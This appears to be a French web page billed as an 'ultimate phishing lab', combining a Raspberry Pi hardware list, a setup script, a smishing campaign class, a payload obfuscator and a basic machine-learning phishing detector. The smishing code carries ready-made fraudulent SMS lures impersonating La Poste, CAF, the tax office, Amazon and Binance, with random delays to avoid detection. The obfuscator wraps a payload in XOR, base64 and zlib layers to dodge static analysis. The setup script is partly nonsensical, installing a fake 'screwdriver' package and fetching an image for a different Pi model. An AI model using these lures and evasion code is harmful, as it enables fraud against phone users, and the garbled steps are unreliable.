🕵️‍♂️ LAB PHISHING ULTIME v2.0

<!-- 🎯 LISTE MATOS BRUTAL AVEC PRIX RÉELS -->
<ul>
<li><strong>Raspberry Pi 4 4GB</strong> (~45€) + <em>boîtier métal custom (vieille boîte de conserve + gravure laser "Esprit du Chaos")</em></li>
<li><strong>Antenne WiFi 9dBi</strong> (récup gratuite sur vieux routeur TP-Link WR841N démonté au tournevis)</li>
<li><strong>Alim solaire USB 20W</strong> (~18€) + powerbank 20.000mAh pour sessions hacking en forêt</li>
<li><strong>OLED SSD1306 I2C 0.96"</strong> (~8€) pour logs temps réel style "Œil du Gardien"</li>
<li><strong>Carte SD 32GB Classe 10</strong> (~12€) avec Kali Linux ARM optimisé</li>
</ul>

<!-- 🔧 SCRIPT RÉCUPÉRATION & INSTALL RÉELLE -->
<pre><code>#!/bin/bash
# 🔨 DÉMONTAGE ROUTER TP-Link WR841N - VÉRITABLE RÉCUP
echo "🔧 Phase 1: Ouverture du routeur..."
# Utiliser un tournevis plat pour forcer les clips plastique
sudo apt install -y screwdriver prying-tool
echo "📡 Phase 2: Désoudage antenne..."
# Repérer les antennes RP-SMA - couper les fils et désouder
echo "⚡ Phase 3: Test antenne sur Pi..."
# Brancher sur port USB avec adaptateur RP-SMA vers USB
iwconfig wlan1 | grep "Signal level"
echo "✅ Antenne 9dBi opérationnelle pour AP malveillant!"

# 🖥️ INSTALL KALI LINUX OPTIMISÉ POUR PI
echo "🐉 Flash Kali Linux sur SD..."
wget -O kali-pi.img.xz "https://kali.download/arm-images/kali-2023.3-raspberry-pi-zero-2-w-arm64.img.xz"
xz -d kali-pi.img.xz
sudo dd if=kali-pi.img of=/dev/sdb bs=4M status=progress
echo "🎯 Kali ARM64 installé - Prêt pour le combat!"
</code></pre>
📋 Copier

<!-- 🚨 SMISHING AVANCÉ AVEC SOCIAL ENGINEERING RÉEL -->
<pre><code>import requests
import random
import time
from datetime import datetime

class ProfessionalSmisher:
def __init__(self):
self.campaign_id = f"SMISH_{datetime.now().strftime('%Y%m%d_%H%M%S')}"
self.templates = [
"La Poste: Votre colis #{tracking} est retenu en douane. Paiement requis: {url}",
"CAF: Votre allocation #{ref} est suspendue. Régularisez: {url}",
"Amazon: Alerte sécurité compte. Vérification obligatoire: {url}",
"Impôts: Remboursement #{ref} disponible. Cliquez: {url}",
"Binance: Connexion suspecte depuis nouvelle IP. Confirmez: {url}"
]

def generate_tracking(self):
"""Génère des numéros de suivi crédibles"""
prefixes = ['TR', 'CF', 'AMZ', 'RF', 'BNC']
return f"{random.choice(prefixes)}{random.randint(1000000000, 9999999999)}"

def send_sms_via_api(self, phone, message):
"""Simule l'envoi via API SMS (Twilio/Plivo en lab)"""
print(f"📨 [{self.campaign_id}] SMS → {phone}")
print(f"📝 Message: {message}")

# Log pour analyse post-attaque
with open(f"/var/log/smishing_{self.campaign_id}.log", "a") as f:
f.write(f"{datetime.now()} | {phone} | {message}\\n")

def launch_campaign(self, target_list, phishing_url):
"""Lance une campagne smishing réaliste"""
print(f"🎯 Lancement campagne {self.campaign_id}")

for phone in target_list:
template = random.choice(self.templates)
tracking = self.generate_tracking()
message = template.format(tracking=tracking, url=phishing_url)

self.send_sms_via_api(phone, message)
time.sleep(random.uniform(2, 10)) # Éviter la détection

# 🎯 UTILISATION EN LAB
smisher = ProfessionalSmisher()
targets = ["+33612345678", "+33787654321"] # Phones de test en lab
smisher.launch_campaign(targets, "http://192.168.1.100/la-poste-fake")
</code></pre>

<!-- 🎯 OBFUSCATION AVANCÉE POUR ÉVITER LA DÉTECTION -->
<pre><code># 🔥 PAYLOAD OBFUSQUÉ AVEC ENCODAGE MULTI-COUCHES
import base64
import zlib

def obfuscate_payload(script):
"""Obfuscation multi-couches pour éviter l'analyse statique"""
# Compression + Base64
compressed = zlib.compress(script.encode())
b64_encoded = base64.b64encode(compressed)

# Chiffrement XOR simple (pour l'exemple)
key = 0x42
xor_encoded = bytes([b ^ key for b in b64_encoded])

return base64.b64encode(xor_encoded).decode()

# Script original à obfusquer
original_script = """
print("Script malveillant - Lab seulement")
# Ici le code d'exploitation réel
"""

obfuscated = obfuscate_payload(original_script)
exec_payload = f"exec(__import__('zlib').decompress(__import__('base64').b64decode(''.join([chr(b ^ 0x42) for b in __import__('base64').b64decode('{obfuscated}')]))))"

print("🔒 Payload obfusqué prêt:")
print(exec_payload)
</code></pre>
📋 Copier

<!-- 🤖 SYSTÈME DE DÉTECTION PHISHING AVEC ML RÉEL -->
<pre><code>import pandas as pd
import numpy as np
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split
import joblib
import re

class AdvancedPhishingDetector:
def __init__(self):
self.model = None
self.vectorizer = None
self.load_or_train_model()

def load_or_train_model(self):
"""Charge un modèle existant ou en entraîne un nouveau"""
try:
self.model = joblib.load('/opt/phishing_detector/model.pkl')
self.vectorizer = joblib.load('/opt/phishing_detector/vectorizer.pkl')
print("✅ Modèle de détection chargé")
except:
print("🔄 Entraînement nouveau modèle...")
self.train_model()

def train_model(self):
"""Entraîne le modèle avec des données réalistes"""
# Données d'entraînement enrichies
phishing_texts = [
"usps colis confirmation http", "la poste paiement requis",
"amazon sécurité compte vérifier", "caf allocation suspendue régulariser",
"impôts remboursement disponible cliquez", "paypal vérification urgente",
"binance connexion suspecte confirmer", "colissimo livraison bloquée payer"
]

normal_texts = [
"hello comment ça va", "bonjour comment allez vous",
"merci pour ton message", "à bientôt pour déjeuner",
"tu as vu le dernier film", "on se voit ce weekend"
]

texts = phishing_texts + normal_texts
labels = [1] * len(phishing_texts) + [0] * len(normal_texts)

# Vectorisation TF-IDF
self.vectorizer = TfidfVectorizer(
max_features=1000,
stop_words=['fr', 'en'],
ngram_range=(1, 2)
)

X = self.vectorizer.fit_transform(texts)

# Entraînement Random Forest
self.model = RandomForestClassifier(
n_estimators=100,
max_depth=10,
random_state=42
)

self.model.fit(X, labels)

# Sauvegarde du modèle
joblib.dump(self.model, '/opt/phishing_detector/model.pkl')
joblib.dump(self.vectorizer, '/opt/phishing_detector/vectorizer.pkl')
print("✅ Modèle entraîné et sauvegardé")

def extract_features(self, text):
"""Extrait des features avancées du texte"""
features = {}

# Analyse des URLs
urls = re.findall(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', text)
features['url_count'] = len(urls)

# Mots-clés de phishing
phishing_keywords = ['colis', 'paiement', 'sécurité', 'suspendu', 'urgence', 'cliquez', 'confirmer']
features['phishing_keywords'] = sum(1 for word in phishing_keywords if word in text.lower())

return features

def predict_phishing_risk(self, text):
"""Prédit le risque de phishing (0-100%)"""
try:
# Prédiction ML
X = self.vectorizer.transform([text])
ml_score = self.model.predict_proba(X)[0][1] * 100

# Features additionnelles
features = self.extract_features(text)
feature_boost = min(features['phishing_keywords'] * 10 + features['url_count'] * 5, 30)

final_score = min(ml_score + feature_boost, 100)

return {
'risk_score': final_score,
'category': 'HIGH' if final_score > 70 else 'MEDIUM' if final_score > 30 else 'LOW',
'features': features
}

except Exception as e:
print(f"❌ Erreur prédiction: {e}")
return {'risk_score': 0, 'category': 'UNKNOWN', 'features': {}}

# 🎯 UTILISATION EN TEMPS RÉEL
detector = AdvancedPhishingDetector()

# Test avec un message suspect
test_message = "La Poste: Votre colis TR123456789 est bloqué. Paiement requis: http://la-poste-fake.com"
result = detector.predict_phishing_risk(test_message)

print(f"🔍 Analyse: {test_message}")
print(f"📊 Score de risque: {result['risk_score']}%")
print(f"🚨 Catégorie: {result['category']}")
print(f"🔧 Features: {result['features']}")

if result['risk_score'] > 70:
print("🚨 ALERTE PHISHING - Blocage recommandé!")
</code></pre>
📋 Copier